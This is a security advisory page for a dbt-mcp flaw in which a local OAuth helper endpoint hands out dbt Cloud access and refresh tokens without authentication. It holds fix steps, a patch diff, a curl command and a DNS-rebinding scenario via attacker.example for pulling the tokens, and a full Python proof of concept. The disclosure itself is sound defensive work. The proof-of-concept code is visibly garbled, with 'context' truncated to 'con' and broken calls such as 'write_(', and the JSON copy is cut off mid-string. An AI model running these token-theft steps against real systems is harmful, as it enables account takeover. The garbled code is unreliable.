CVE-2026-55837: dbt MCP Server Unauthenticated OAuth Context Endpoint Leaks Vulnerability
MODERATE
Advisory Identifier:
GHSA-jr33-mw75-7j8f
Advisory Summary
CVE-2026-55837 is a MODERATE (CVSS 6.8) unauthenticated oauth context endpoint leaks vulnerability (CWE-306: Missing Authentication for Critical Function) affecting dbt MCP Server libraries in the PyPI ecosystem. The issue involves unauthenticated oauth context endpoint leaks dbt platform tokens. Remediation is available by upgrading affected packages to version 1.20.0.
CVE-2026-55837 at a Glance
CVE Identifier
CVE-2026-55837
GHSA Identifier
GHSA-jr33-mw75-7j8f
Severity
MODERATE
CVSS v3.1 Base Score
6.8
CWE Classification
CWE-306: Missing Authentication for Critical Function
Affected Product
dbt MCP Server
Package Ecosystem
PyPI
Published Date
Last Updated
Security Impact
CVSS: 6.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N).
Attack Vector
Network (AV:N)
Attack Complexity
High (AC:H)
Privileges Required
None (PR:N)
User Interaction
Required (UI:R)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
None (A:N)
How to Fix CVE-2026-55837
To remediate this vulnerability, upgrade all affected dbt MCP Server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
dbt-mcp
fixed: 1.20.0
pip install dbt-mcp>=1.20.0
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show dbt-mcpHow to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55837, inspect your installed packages using pip:
pip show dbt-mcpAnalyze the terminal output to locate any version of dbt MCP Server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.20.0), your application is affected.
Note: The pip show dbt-mcp command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In dbt MCP Server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens
### Summary
The local OAuth helper FastAPI server bundled with `dbt-mcp` exposes the `GET /dbt_platform_context` endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full `DbtPlatformContext` object — including the victim's `access_token` and `refresh_token` for the dbt Platform API — verbatim to any caller that can reach `127.0.0.1:6785`. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. **CVSS Base Score: 8.0 (High).**
### Details
During the OAuth login flow, `dbt-mcp` launches an embedded FastAPI server (the "OAuth helper") bound to `127.0.0.1` starting on port `6785` (configured at `src/dbt_mcp/config/credentials.py:34`, `OAUTH_REDIRECT_STARTING_PORT = 6785`). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.
**Data flow from source to sink:**
1. **Source** — `src/dbt_mcp/oauth/fastapi_app.py:106`: The OAuth callback receives `token_response` from the dbt Platform authorization server.
2. `src/dbt_mcp/oauth/dbt_platform.py:60`: `AccessTokenResponse(**token_response)` stores `access_token` and `refresh_token` as plaintext fields.
3. `src/dbt_mcp/oauth/dbt_platform.py:64–69`: The `AccessTokenResponse` is embedded inside `DecodedAccessToken`, which is in turn embedded inside `DbtPlatformContext`.
4. `src/dbt_mcp/oauth/fastapi_app.py:114`: The fully token-bearing `DbtPlatformContext` object is passed to `context_manager` for persistence.
5. **Persistence sink** — `src/dbt_mcp/oauth/context_manager.py:63–64`: `yaml.dump(context.model_dump())` serializes the entire model — including tokens — to a YAML file on disk.
6. **HTTP sink** — `src/dbt_mcp/oauth/fastapi_app.py:162–165`: The `GET /dbt_platform_context` route reads the YAML file back and returns the raw `DbtPlatformContext` object with no redaction.
```python
# src/dbt_mcp/oauth/fastapi_app.py:162-165
@app.get("/dbt_platform_context")
def get_dbt_platform_context() -> DbtPlatformContext:
logger.info("Selected project received")
return dbt_platform_context_manager.read_context() or DbtPlatformContext()
```
```python
# src/dbt_mcp/oauth/dbt_platform.py:8-14
class AccessTokenResponse(BaseModel):
access_token: str
refresh_token: str
...
class DbtPlatformContext(BaseModel):
decoded_access_token: DecodedAccessToken | None = None
...
```
**Missing protections (confirmed by grep):**
- No `TrustedHostMiddleware` — the server accepts requests with arbitrary `Host` headers, enabling DNS rebinding.
- No `CORSMiddleware` — no cross-origin restrictions on which sites can read the response.
- No CSRF protection, no session nonce, no `Origin` header validation.
- The route has no FastAPI `Depends()` security dependency.
A `grep -Rni "TrustedHostMiddleware\|CORSMiddleware\|csrf\|origin"` across the OAuth FastAPI application returns no results.
**Recommended remediation:**
```diff
--- a/src/dbt_mcp/oauth/fastapi_app.py
+++ b/src/dbt_mcp/oauth/fastapi_app.py
+from starlette.middleware.trustedhost import TrustedHostMiddleware
+
+def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext:
+ if context is None:
+ return DbtPlatformContext()
+ return context.model_copy(update={"decoded_access_token": None})
app = FastAPI()
+ app.add_middleware(
+ TrustedHostMiddleware,
+ allowed_hosts=["localhost", "127.0.0.1"],
+ )
@app.get("/dbt_platform_context")
def get_dbt_platform_context() -> DbtPlatformContext:
logger.info("Selected project received")
- return dbt_platform_context_manager.read_context() or DbtPlatformContext()
+ return _redact_context(dbt_platform_context_manager.read_context())
```
### PoC
**Prerequisites:**
- `dbt-mcp` v1.19.1 installed in a Python 3.12 environment.
- The following runtime dependencies available: `authlib~=1.6.7`, `fastapi~=0.128.0`, `uvicorn~=0.38.0`, `pyyaml~=6.0.2`, `httpx~=0.28.1`, `starlette~=0.50.0`, `pydantic~=2.0`, `pydantic-settings~=2.10.1`.
- No `DBT_TOKEN` set (OAuth flow mode active).
**Step 1 — Build the Docker test environment:**
```bash
docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .
```
The `Dockerfile` installs only the OAuth helper's runtime dependencies and copies `src/` and `poc.py`:
```dockerfile
FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir \
"authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" \
"pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" \
"filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" \
"pydantic~=2.0" "pydantic-settings~=2.10.1"
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
```
**Step 2 — Run the PoC:**
```bash
docker run --rm --network=host vuln001-dbt-mcp
```
The PoC script (`poc.py`) performs the following automatically:
1. Writes a realistic fake OAuth context YAML to `/tmp/dbt_poc_mcp.yml`, simulating a victim who has already completed the OAuth login flow.
2. Instantiates the **real** `create_app()` from `src/dbt_mcp/oauth/fastapi_app.py` using `DbtPlatformContextManager` backed by the pre-seeded file.
3. Starts the server on `127.0.0.1:16785` in a background thread.
4. Issues an unauthenticated `GET /dbt_platform_context` with no `Authorization` header.
5. Asserts that `access_token` and `refresh_token` are returned verbatim.
**Equivalent manual curl (against the live OAuth helper during actual OAuth flow):**
```bash
# While the victim is running the OAuth login flow:
export DBT_HOST='cloud.getdbt.com'
unset DBT_TOKEN
dbt-mcp # OAuth helper starts on 127.0.0.1:6785
# From any co-located process (or a DNS-rebinding browser page):
curl -s 'http://127.0.0.1:6785/dbt_platform_context' \
| jq '.decoded_access_token.access_token_response'
```
**Expected output (Phase 2 observed):**
```
[*] HTTP Status: 200
[*] Full response JSON:
{
"decoded_access_token": {
"access_token_response": {
"access_token": "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER",
"refresh_token": "dbt-platform-offline-refresh-SUPERSECRET-abc123",
"expires_in": 3600,
"scope": "user_access offline_access",
"token_type": "Bearer",
"expires_at": 9999999999
},
...
},
...
}
[!] LEAKED access_token : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER
[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123
[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication!
```
**DNS rebinding variant:**
A malicious website can resolve `attacker.example` to `127.0.0.1` after the browser's DNS TTL expires ("DNS rebinding"). Because the helper accepts any `Host` header, the browser treats `http://attacker.example:6785` as same-origin and fetches `/dbt_platform_context` via JavaScript `fetch()`, obtaining the full token JSON across the network without any local access.
### Impact
Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The `access_token` grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The `refresh_token` (with `offline_access` scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.
This vulnerability is a **Missing Authentication for Critical Function** (CWE-306). Any developer machine running `dbt-mcp` with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because `dbt-mcp` is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.
### Reproduction artifacts
#### `Dockerfile`
```dockerfile
FROM python:3.12-slim
WORKDIR /app
# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed
# because fastapi_app.py's import chain doesn't touch them)
RUN pip install --no-cache-dir \
"authlib~=1.6.7" \
"fastapi~=0.128.0" \
"uvicorn~=0.38.0" \
"pyjwt~=2.12.0" \
"pyyaml~=6.0.2" \
"httpx~=0.28.1" \
"filelock~=3.20.3" \
"starlette~=0.50.0" \
"requests>=2.28" \
"pydantic~=2.0" \
"pydantic-settings~=2.10.1"
# Copy only the source tree needed for the OAuth server
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
```
#### `poc.py`
```python
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens
Attack scenario:
- dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.
- After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.
- GET /dbt_platform_con is accessible with NO authentication at all.
- Any process on the same host (or a DNS-rebinding browser page) can call it
and receive the full access_token + refresh_token.
This PoC:
1. Pre-seeds a con file with fake-but-realistic OAuth tokens
(simulating a victim who has already completed the OAuth flow).
2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.
3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).
4. Confirms the tokens are returned verbatim.
"""
import asyncio
import json
import os
import sys
import tempfile
import threading
import time
from pathlib import Path
import httpx
import uvicorn
import yaml
# Fake tokens that simulate a victim's completed OAuth session.
FAKE_ACCESS_TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER"
FAKE_REFRESH_TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123"
FAKE_CONTEXT = {
"decoded_access_token": {
"access_token_response": {
"access_token": FAKE_ACCESS_TOKEN,
"refresh_token": FAKE_REFRESH_TOKEN,
"expires_in": 3600,
"scope": "user_access offline_access",
"token_type": "Bearer",
"expires_at": 9999999999,
},
"decoded_claims": {
"sub": "99999",
"iat": 1700000000,
"exp": 9999999999,
},
},
"host_prefix": "victimco",
"dbt_host": "cloud.getdbt.com",
"account_id": 42,
"selected_project_ids": None,
"dev_environment": None,
"prod_environment": None,
}
PORT = 16785
def start_server(context_file: Path, static_dir: str) -> None:
"""Run the actual vulnerable FastAPI app in a background thread."""
from authlib.integrations.requests_client import OAuth2Session
from dbt_mcp.oauth.context_manager import DbtPlatformContextManager
from dbt_mcp.oauth.fastapi_app import create_app
context_manager = DbtPlatformContextManager(context_file)
# A dummy OAuth client — only used by the /oauth-callback route,
# which this PoC never triggers.
fake_oauth_client = OAuth2Session(client_id="poc-dummy-client")
app = create_app(
oauth_client=fake_oauth_client,
state_to_verifier={},
dbt_platform_url="https://cloud.getdbt.com",
static_dir=static_dir,
dbt_platform_context_manager=context_manager,
)
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
config = uvicorn.Config(
app=app, host="127.0.0.1", port=PORT, log_level="error", loop="asyncio"
)
server = uvicorn.Server(config)
loop.run_until_complete(server.serve())
def wait_for_server(port: int, timeout: float = 15.0) -> bool:
import socket
deadline = time.time() + timeout
while time.time() < deadline:
try:
with socket.create_connection(("127.0.0.1", port), timeout=1):
return True
except OSError:
time.sleep(0.2)
return False
def main() -> int:
print("[*] VULN-001 PoC — Unauthenticated /dbt_platform_con token leak")
print("=" * 70)
# 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)
context_file = Path("/tmp/dbt_poc_mcp.yml")
context_file.write_(
yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding="utf-8"
)
print(f"[*] Con file written: {context_file}")
print(f" access_token : {FAKE_ACCESS_TOKEN}")
print(f" refresh_token : {FAKE_REFRESH_TOKEN}")
# 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup
static_dir = tempfile.mkdtemp(prefix="dbt_poc_static_")
(Path(static_dir) / "index.html").write_("<html>dbt OAuth</html>")
# 3. Start the real vulnerable FastAPI server in a background thread
t = threading.Thread(
target=start_server, args=(context_file, static_dir), daemon=True
)
t.start()
print(f"\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...")
if not wait_for_server(PORT):
print("[-] FAIL: Server did not start within timeout.")
return 2
print("[*] Server is up.")
# 4. Send unauthenticated GET /dbt_platform_con (no Authorization header)
url = f"http://127.0.0.1:{PORT}/dbt_platform_con"
print(f"\n[*] Sending unauthenticated GET {url}")
try:
resp = httpx.get(url, timeout=10)
except Exception as exc:
print(f"[-] HTTP request failed: {exc}")
return 2
print(f"[*] HTTP Status: {resp.status_code}")
if resp.status_code != 200:
print(f"[-] FAIL: Expected 200, got {resp.status_code}")
print(f" Body: {resp.[:500]}")
return 1
try:
data = resp.json()
except Exception as exc:
print(f"[-] FAIL: Response is not JSON: {exc}\n Body: {resp.[:500]}")
return 1
print(f"\n[*] Full response JSON:\n{json.dumps(data, indent=2)}")
# 5. Verify that the tokens are in the response (no redaction, no auth required)
try:
leaked_access = (
data["decoded_access_token"]["access_token_response"]["access_token"]
)
leaked_refresh = (
data["decoded_access_token"]["access_token_response"]["refresh_token"]
)
except (KeyError, TypeError) as exc:
print(f"\n[-] FAIL: Token fields missing from response: {exc}")
return 1
print(f"\n[!] LEAKED access_token : {leaked_access}")
print(f"[!] LEAKED refresh_token : {leaked_refresh}")
if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:
print(
"\n[+] VULNERABILITY CONFIRMED:"
" Tokens returned from /dbt_platform_con WITHOUT authentication!"
)
return 0
else:
print("\n[-] FAIL: Returned tokens do not match expected values.")
print(f" Expected access_token : {FAKE_ACCESS_TOKEN}")
print(f" Got access_token : {leaked_access}")
return 1
if __name__ == "__main__":
sys.exit(main())
```
CVE-2026-55837 Affected dbt MCP Server Versions
1 component(s)
Fixed Versions:
1.20.0
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
dbt-mcp
|
PyPI |
< 1.20.0
|
1.20.0
|
References
Frequently Asked Questions
What is CVE-2026-55837?
CVE-2026-55837 is a security vulnerability in dbt MCP Server involving Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens under CWE-306: Missing Authentication for Critical Function.
Which dbt MCP Server versions are affected?
Affected versions include releases prior to 1.20.0 across affected packages: dbt-mcp.
What version fixes CVE-2026-55837?
Upgrading to 1.20.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dbt-mcp affected?
Yes, dbt-mcp is affected in releases prior to 1.20.0. Upgrade your dependency to 1.20.0 or later.
What is the CVSS score of CVE-2026-55837?
CVE-2026-55837 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-55837?
CVE-2026-55837 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check PyPI dependencies for CVE-2026-55837?
Run the dependency tree command: 'pip show dbt-mcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-jr33-mw75-7j8f",
"modified" : "2026-06-19T21:15:40Z",
"published" : "2026-06-19T21:15:40Z",
"aliases" : [ "CVE-2026-55837" ],
"summary" : "dbt MCP Server: Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens",
"details" : "## Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens\n\n### Summary\n\nThe local OAuth helper FastAPI server bundled with `dbt-mcp` exposes the `GET /dbt_platform_context` endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full `DbtPlatformContext` object — including the victim's `access_token` and `refresh_token` for the dbt Platform API — verbatim to any caller that can reach `127.0.0.1:6785`. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. **CVSS Base Score: 8.0 (High).**\n\n### Details\n\nDuring the OAuth login flow, `dbt-mcp` launches an embedded FastAPI server (the \"OAuth helper\") bound to `127.0.0.1` starting on port `6785` (configured at `src/dbt_mcp/config/credentials.py:34`, `OAUTH_REDIRECT_STARTING_PORT = 6785`). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.\n\n**Data flow from source to sink:**\n\n1. **Source** — `src/dbt_mcp/oauth/fastapi_app.py:106`: The OAuth callback receives `token_response` from the dbt Platform authorization server.\n2. `src/dbt_mcp/oauth/dbt_platform.py:60`: `AccessTokenResponse(**token_response)` stores `access_token` and `refresh_token` as plaintext fields.\n3. `src/dbt_mcp/oauth/dbt_platform.py:64–69`: The `AccessTokenResponse` is embedded inside `DecodedAccessToken`, which is in turn embedded inside `DbtPlatformContext`.\n4. `src/dbt_mcp/oauth/fastapi_app.py:114`: The fully token-bearing `DbtPlatformContext` object is passed to `context_manager` for persistence.\n5. **Persistence sink** — `src/dbt_mcp/oauth/context_manager.py:63–64`: `yaml.dump(context.model_dump())` serializes the entire model — including tokens — to a YAML file on disk.\n6. **HTTP sink** — `src/dbt_mcp/oauth/fastapi_app.py:162–165`: The `GET /dbt_platform_context` route reads the YAML file back and returns the raw `DbtPlatformContext` object with no redaction.\n\n```python\n# src/dbt_mcp/oauth/fastapi_app.py:162-165\n@app.get(\"/dbt_platform_context\")\ndef get_dbt_platform_context() -> DbtPlatformContext:\n logger.info(\"Selected project received\")\n return dbt_platform_context_manager.read_context() or DbtPlatformContext()\n```\n\n```python\n# src/dbt_mcp/oauth/dbt_platform.py:8-14\nclass AccessTokenResponse(BaseModel):\n access_token: str\n refresh_token: str\n ...\n\nclass DbtPlatformContext(BaseModel):\n decoded_access_token: DecodedAccessToken | None = None\n ...\n```\n\n**Missing protections (confirmed by grep):**\n\n- No `TrustedHostMiddleware` — the server accepts requests with arbitrary `Host` headers, enabling DNS rebinding.\n- No `CORSMiddleware` — no cross-origin restrictions on which sites can read the response.\n- No CSRF protection, no session nonce, no `Origin` header validation.\n- The route has no FastAPI `Depends()` security dependency.\n\nA `grep -Rni \"TrustedHostMiddleware\\|CORSMiddleware\\|csrf\\|origin\"` across the OAuth FastAPI application returns no results.\n\n**Recommended remediation:**\n\n```diff\n--- a/src/dbt_mcp/oauth/fastapi_app.py\n+++ b/src/dbt_mcp/oauth/fastapi_app.py\n+from starlette.middleware.trustedhost import TrustedHostMiddleware\n+\n+def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext:\n+ if context is None:\n+ return DbtPlatformContext()\n+ return context.model_copy(update={\"decoded_access_token\": None})\n\n app = FastAPI()\n+ app.add_middleware(\n+ TrustedHostMiddleware,\n+ allowed_hosts=[\"localhost\", \"127.0.0.1\"],\n+ )\n\n @app.get(\"/dbt_platform_context\")\n def get_dbt_platform_context() -> DbtPlatformContext:\n logger.info(\"Selected project received\")\n- return dbt_platform_context_manager.read_context() or DbtPlatformContext()\n+ return _redact_context(dbt_platform_context_manager.read_context())\n```\n\n### PoC\n\n**Prerequisites:**\n\n- `dbt-mcp` v1.19.1 installed in a Python 3.12 environment.\n- The following runtime dependencies available: `authlib~=1.6.7`, `fastapi~=0.128.0`, `uvicorn~=0.38.0`, `pyyaml~=6.0.2`, `httpx~=0.28.1`, `starlette~=0.50.0`, `pydantic~=2.0`, `pydantic-settings~=2.10.1`.\n- No `DBT_TOKEN` set (OAuth flow mode active).\n\n**Step 1 — Build the Docker test environment:**\n\n```bash\ndocker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .\n```\n\nThe `Dockerfile` installs only the OAuth helper's runtime dependencies and copies `src/` and `poc.py`:\n\n```dockerfile\nFROM python:3.12-slim\nWORKDIR /app\nRUN pip install --no-cache-dir \\\n \"authlib~=1.6.7\" \"fastapi~=0.128.0\" \"uvicorn~=0.38.0\" \\\n \"pyjwt~=2.12.0\" \"pyyaml~=6.0.2\" \"httpx~=0.28.1\" \\\n \"filelock~=3.20.3\" \"starlette~=0.50.0\" \"requests>=2.28\" \\\n \"pydantic~=2.0\" \"pydantic-settings~=2.10.1\"\nCOPY repo/src /app/src\nENV PYTHONPATH=/app/src\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n**Step 2 — Run the PoC:**\n\n```bash\ndocker run --rm --network=host vuln001-dbt-mcp\n```\n\nThe PoC script (`poc.py`) performs the following automatically:\n\n1. Writes a realistic fake OAuth context YAML to `/tmp/dbt_poc_mcp.yml`, simulating a victim who has already completed the OAuth login flow.\n2. Instantiates the **real** `create_app()` from `src/dbt_mcp/oauth/fastapi_app.py` using `DbtPlatformContextManager` backed by the pre-seeded file.\n3. Starts the server on `127.0.0.1:16785` in a background thread.\n4. Issues an unauthenticated `GET /dbt_platform_context` with no `Authorization` header.\n5. Asserts that `access_token` and `refresh_token` are returned verbatim.\n\n**Equivalent manual curl (against the live OAuth helper during actual OAuth flow):**\n\n```bash\n# While the victim is running the OAuth login flow:\nexport DBT_HOST='cloud.getdbt.com'\nunset DBT_TOKEN\ndbt-mcp # OAuth helper starts on 127.0.0.1:6785\n\n# From any co-located process (or a DNS-rebinding browser page):\ncurl -s 'http://127.0.0.1:6785/dbt_platform_context' \\\n | jq '.decoded_access_token.access_token_response'\n```\n\n**Expected output (Phase 2 observed):**\n\n```\n[*] HTTP Status: 200\n[*] Full response JSON:\n{\n \"decoded_access_token\": {\n \"access_token_response\": {\n \"access_token\": \"eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\",\n \"refresh_token\": \"dbt-platform-offline-refresh-SUPERSECRET-abc123\",\n \"expires_in\": 3600,\n \"scope\": \"user_access offline_access\",\n \"token_type\": \"Bearer\",\n \"expires_at\": 9999999999\n },\n ...\n },\n ...\n}\n[!] LEAKED access_token : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\n[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123\n[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication!\n```\n\n**DNS rebinding variant:**\n\nA malicious website can resolve `attacker.example` to `127.0.0.1` after the browser's DNS TTL expires (\"DNS rebinding\"). Because the helper accepts any `Host` header, the browser treats `http://attacker.example:6785` as same-origin and fetches `/dbt_platform_context` via JavaScript `fetch()`, obtaining the full token JSON across the network without any local access.\n\n### Impact\n\nAny local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The `access_token` grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The `refresh_token` (with `offline_access` scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.\n\nThis vulnerability is a **Missing Authentication for Critical Function** (CWE-306). Any developer machine running `dbt-mcp` with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because `dbt-mcp` is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nWORKDIR /app\n\n# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed\n# because fastapi_app.py's import chain doesn't touch them)\nRUN pip install --no-cache-dir \\\n \"authlib~=1.6.7\" \\\n \"fastapi~=0.128.0\" \\\n \"uvicorn~=0.38.0\" \\\n \"pyjwt~=2.12.0\" \\\n \"pyyaml~=6.0.2\" \\\n \"httpx~=0.28.1\" \\\n \"filelock~=3.20.3\" \\\n \"starlette~=0.50.0\" \\\n \"requests>=2.28\" \\\n \"pydantic~=2.0\" \\\n \"pydantic-settings~=2.10.1\"\n\n# Copy only the source tree needed for the OAuth server\nCOPY repo/src /app/src\n\nENV PYTHONPATH=/app/src\n\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens\n\nAttack scenario:\n - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.\n - After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.\n - GET /dbt_platform_con is accessible with NO authentication at all.\n - Any process on the same host (or a DNS-rebinding browser page) can call it\n and receive the full access_token + refresh_token.\n\nThis PoC:\n 1. Pre-seeds a con file with fake-but-realistic OAuth tokens\n (simulating a victim who has already completed the OAuth flow).\n 2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.\n 3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).\n 4. Confirms the tokens are returned verbatim.\n\"\"\"\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport tempfile\nimport threading\nimport time\nfrom pathlib import Path\n\nimport httpx\nimport uvicorn\nimport yaml\n\n# Fake tokens that simulate a victim's completed OAuth session.\nFAKE_ACCESS_TOKEN = \"eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\"\nFAKE_REFRESH_TOKEN = \"dbt-platform-offline-refresh-SUPERSECRET-abc123\"\n\nFAKE_CONTEXT = {\n \"decoded_access_token\": {\n \"access_token_response\": {\n \"access_token\": FAKE_ACCESS_TOKEN,\n \"refresh_token\": FAKE_REFRESH_TOKEN,\n \"expires_in\": 3600,\n \"scope\": \"user_access offline_access\",\n \"token_type\": \"Bearer\",\n \"expires_at\": 9999999999,\n },\n \"decoded_claims\": {\n \"sub\": \"99999\",\n \"iat\": 1700000000,\n \"exp\": 9999999999,\n },\n },\n \"host_prefix\": \"victimco\",\n \"dbt_host\": \"cloud.getdbt.com\",\n \"account_id\": 42,\n \"selected_project_ids\": None,\n \"dev_environment\": None,\n \"prod_environment\": None,\n}\n\nPORT = 16785\n\n\ndef start_server(context_file: Path, static_dir: str) -> None:\n \"\"\"Run the actual vulnerable FastAPI app in a background thread.\"\"\"\n from authlib.integrations.requests_client import OAuth2Session\n from dbt_mcp.oauth.context_manager import DbtPlatformContextManager\n from dbt_mcp.oauth.fastapi_app import create_app\n\n context_manager = DbtPlatformContextManager(context_file)\n\n # A dummy OAuth client — only used by the /oauth-callback route,\n # which this PoC never triggers.\n fake_oauth_client = OAuth2Session(client_id=\"poc-dummy-client\")\n\n app = create_app(\n oauth_client=fake_oauth_client,\n state_to_verifier={},\n dbt_platform_url=\"https://cloud.getdbt.com\",\n static_dir=static_dir,\n dbt_platform_context_manager=context_manager,\n )\n\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n config = uvicorn.Config(\n app=app, host=\"127.0.0.1\", port=PORT, log_level=\"error\", loop=\"asyncio\"\n )\n server = uvicorn.Server(config)\n loop.run_until_complete(server.serve())\n\n\ndef wait_for_server(port: int, timeout: float = 15.0) -> bool:\n import socket\n\n deadline = time.time() + timeout\n while time.time() < deadline:\n try:\n with socket.create_connection((\"127.0.0.1\", port), timeout=1):\n return True\n except OSError:\n time.sleep(0.2)\n return False\n\n\ndef main() -> int:\n print(\"[*] VULN-001 PoC — Unauthenticated /dbt_platform_con token leak\")\n print(\"=\" * 70)\n\n # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)\n context_file = Path(\"/tmp/dbt_poc_mcp.yml\")\n context_file.write_(\n yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding=\"utf-8\"\n )\n print(f\"[*] Con file written: {context_file}\")\n print(f\" access_token : {FAKE_ACCESS_TOKEN}\")\n print(f\" refresh_token : {FAKE_REFRESH_TOKEN}\")\n\n # 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on 